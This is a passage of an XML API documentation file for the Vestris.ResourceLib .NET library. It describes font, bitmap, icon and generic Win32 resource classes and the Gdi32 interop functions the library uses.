name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FaceName\">\n            <summary>\n            Typeface name of the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.DeviceName\">\n            <summary>\n            Specifies the name of the device if this font file is designated for a specific device.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.Font\">\n            <summary>\n            Font information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.#ctor\">\n            <summary>\n            A new font directory entry.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Read(System.IntPtr)\">\n            <summary>\n            Read the font directory entry.\n            </summary>\n            <param name=\"lpRes\">Pointer in memory.</param>\n            <returns>Pointer to the end of the font directory entry.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory entry to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryResource\">\n            <summary>\n            A font directory, RT_FONTDIR resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryResource.Fonts\">\n            <summary>\n            Number of fonts in this directory.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontResource\">\n            <summary>\n            A font, RT_FONT resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font resource to a binary writer.\n            </summary>\n            <param name=\"w\">Binary writer.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32\">\n            <summary>\n            Gdi32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BitmapCompression\">\n            <summary>\n            Bitmap compression options.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RGB\">\n            <summary>\n            An uncompressed format. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE8\">\n            <summary>\n            A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE4\">\n            <summary>\n            An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_BITFIELDS\">\n            <summary>\n            Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_JPEG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_PNG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER\">\n            <summary>\n            A bitmap info header.\n            See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSize\">\n            <summary>\n            Bitmap information size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biWidth\">\n            <summary>\n            Bitmap width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biHeight\">\n            <summary>\n            Bitmap height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biPlanes\">\n            <summary>\n            Number of logical planes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biBitCount\">\n            <summary>\n            Bitmap bitrate.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biCompression\">\n            <summary>\n            Bitmap compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSizeImage\">\n            <summary>\n            Image size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biXPelsPerMeter\">\n            <summary>\n            Horizontal pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biYPelsPerMeter\">\n            <summary>\n            Vertical pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrUsed\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrImportant\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.BitmapCompression\">\n            <summary>\n            Returns the current bitmap compression.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormat\">\n            <summary>\n            Bitmap pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormatString\">\n            <summary>\n            Bitmap pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFO\">\n            <summary>\n            Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). \n            http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiHeader\">\n            <summary>\n            Specifies a bitmap information header structure that contains information about the dimensions of color format.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiColors\">\n            <summary>\n            An array of RGBQUAD. The elements of the array make up the color table.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.RGBQUAD\">\n            <summary>\n            Store colors in a paletised icon (2, 4 or 8 bit).\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbBlue\">\n            <summary>\n            Blue.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbGreen\">\n            <summary>\n            Green.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbRed\">\n            <summary>\n            Red.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER\">\n            <summary>\n            The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB.\n            http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfType\">\n            <summary>\n            The file type; must be BM.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfSize\">\n            <summary>\n            The size, in bytes, of the bitmap file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved1\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved2\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfOffBits\">\n            <summary>\n            The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.GetDIBits(System.IntPtr,System.IntPtr,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Retrieves the bits of the specified compatible bitmap and copies them into a buffer as \n            a DIB using the specified format\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"hbmp\">A handle to the bitmap. This must be a compatible bitmap (DDB).</param>\n            <param name=\"uStartScan\">The first scan line to retrieve.</param>\n            <param name=\"cScanLines\">The number of scan lines to retrieve.</param>\n            <param name=\"lpvBits\">A pointer to a buffer to receive the bitmap data.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data.</param>\n            <param name=\"uUsage\">The format of the bmiColors member of the BITMAPINFO structure.</param>\n            <returns>\n            If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap.\n            If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDIBSection(System.IntPtr,Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32,System.IntPtr@,System.IntPtr,System.UInt32)\">\n            <summary>\n            Create a DIB that applications can write to directly. The function gives you a pointer to the location \n            of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use \n            to create the bitmap, or you can let the system allocate the memory for the bitmap.\n            </summary>\n            <param name=\"hdc\">Handle to a device context.</param>\n            <param name=\"pbmi\">A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors.</param>\n            <param name=\"iUsage\">The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values).</param>\n            <param name=\"ppvBits\">A pointer to a variable that receives a pointer to the location of the DIB bit values.</param>\n            <param name=\"hSection\">A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL.</param>\n            <param name=\"dwOffset\">The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values.\n            If the function fails, the return value is NULL, and *ppvBits is NULL.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.DIBColors\">\n            <summary>\n            Defines how to interpret the values in the color table of a DIB.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_RGB_COLORS\">\n            <summary>\n            The color table contains literal RGB values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_COLORS\">\n            <summary>\n            The color table consists of an array of 16-bit indexes into the LogPalette \n            object that is currently defined in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_INDICES\">\n            <summary>\n            No color table exists. The pixels in the DIB are indices into the current logical \n            palette in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_LOGINDICES\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleDC(System.IntPtr)\">\n            <summary>\n            Creates a memory device context (DC) compatible with the specified device.\n            </summary>\n            <param name=\"hdc\">Handle to an existing device context.</param>\n            <returns>\n            The handle to a memory device context indicates success.\n            NULL indicates failure.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDC(System.String,System.String,System.String,System.IntPtr)\">\n            <summary>\n            \n            </summary>\n            <param name=\"lpDriverName\">Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL.</param>\n            <param name=\"lpDeviceName\">Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80).</param>\n            <param name=\"lpOutput\">This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows.</param>\n            <param name=\"lpInitData\">A pointer to a DEVMODE structure containing device-specific initialization data for the device driver.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleBitmap(System.IntPtr,System.Int32,System.Int32)\">\n            <summary>\n            Creates a bitmap compatible with the device that is associated with the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to a device context.</param>\n            <param name=\"nWidth\">The bitmap width, in pixels.</param>\n            <param name=\"nHeight\">The bitmap height, in pixels.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the compatible bitmap (DDB).\n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SelectObject(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Selects an object into a specified device context. The new object replaces the previous object of the same type. \n            </summary>\n            <param name=\"hdc\">Handle to the device context.</param>\n            <param name=\"hgdiobj\">Handle to the object to be selected.</param>\n            <returns>\n            If the selected object is not a region, the handle of the object being replaced indicates success. \n            If the selected object is a region, one of the following values indicates success. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteObject(System.IntPtr)\">\n            <summary>\n            Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. \n            </summary>\n            <param name=\"hObject\">Handle to a logical pen, brush, font, bitmap, region, or palette.</param>\n            <returns>\n            Nonzero indicates success. \n            Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteDC(System.IntPtr)\">\n            <summary>\n            Deletes the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <returns>\n            If the function succeeds, the return value is nonzero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.GenericResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.GenericResource._data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.GenericResource.Data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An unstructured generic resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            A generic resource.\n            </summary>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a generic resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of icons that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile\">\n            <summary>\n            This structure depicts the organization of data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile.GroupType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Icon\">\n            <summary>\n            Icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Cursor\">\n            <summary>\n            Cursor.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Type\">\n            <summary>\n            Type of the group icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Icons\">\n            <summary>\n            Collection of icons in an .ico file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.#ctor(System.String)\">\n            <summary>\n            An existing .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.LoadFrom(System.String)\">\n            <summary>\n            Load from a .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.Read(System.IntPtr)\">\n            <summary>\n            Read icons.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of a FILEGRPICONDIR structure.</param>\n            <returns>Pointer to the end of a FILEGRPICONDIR structure.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFileIcon\">\n            <summary>\n            This structure depicts the organization of icon data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Header\">\n            <summary>\n            Icon header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Image\">\n            <summary>\n            Icon bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.#ctor\">\n            <summary>\n            New icon data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Width\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Height\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a single icon (.ico).\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of this icon's data.</param>\n            <param name=\"lpAllData\">Pointer to the beginning of all icon data.</param>\n            <returns>Pointer to the end of this icon's data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.ToString\">\n            <summary>\n            Icon size as a string.\n            </summary>\n            <returns>Icon size in the width x height format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconImageResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._header\">\n            <summary>\n            Directory header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._image\">\n            <summary>\n            Actual image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Header\">\n            <summary>\n            Hardware-independent icon directory header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Id\">\n            <summary>\n            Embedded icon Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Image\">\n            <summary>\n            An icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Create a new icon image resource from a file icon.\n            </summary>\n            <param name=\"icon\">File icon.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource id.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Width\">\n            <summary>\n            Icon width in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Height\">\n            <summary>\n            Icon height in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read an icon resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to a directory entry in the hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read the bitmap image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">Size of image.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormat\">\n            <summary>\n            Icon pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormatString\">\n            <summary>\n            Icon pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ToString\">\n            <summary>\n            String representation of the icon.\n            </summary>\n            <returns>A string in a format of width x height followed by the pixel format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write icon resource data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.SaveIconTo(System.String)\">\n            <summary>\n            Save icon to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            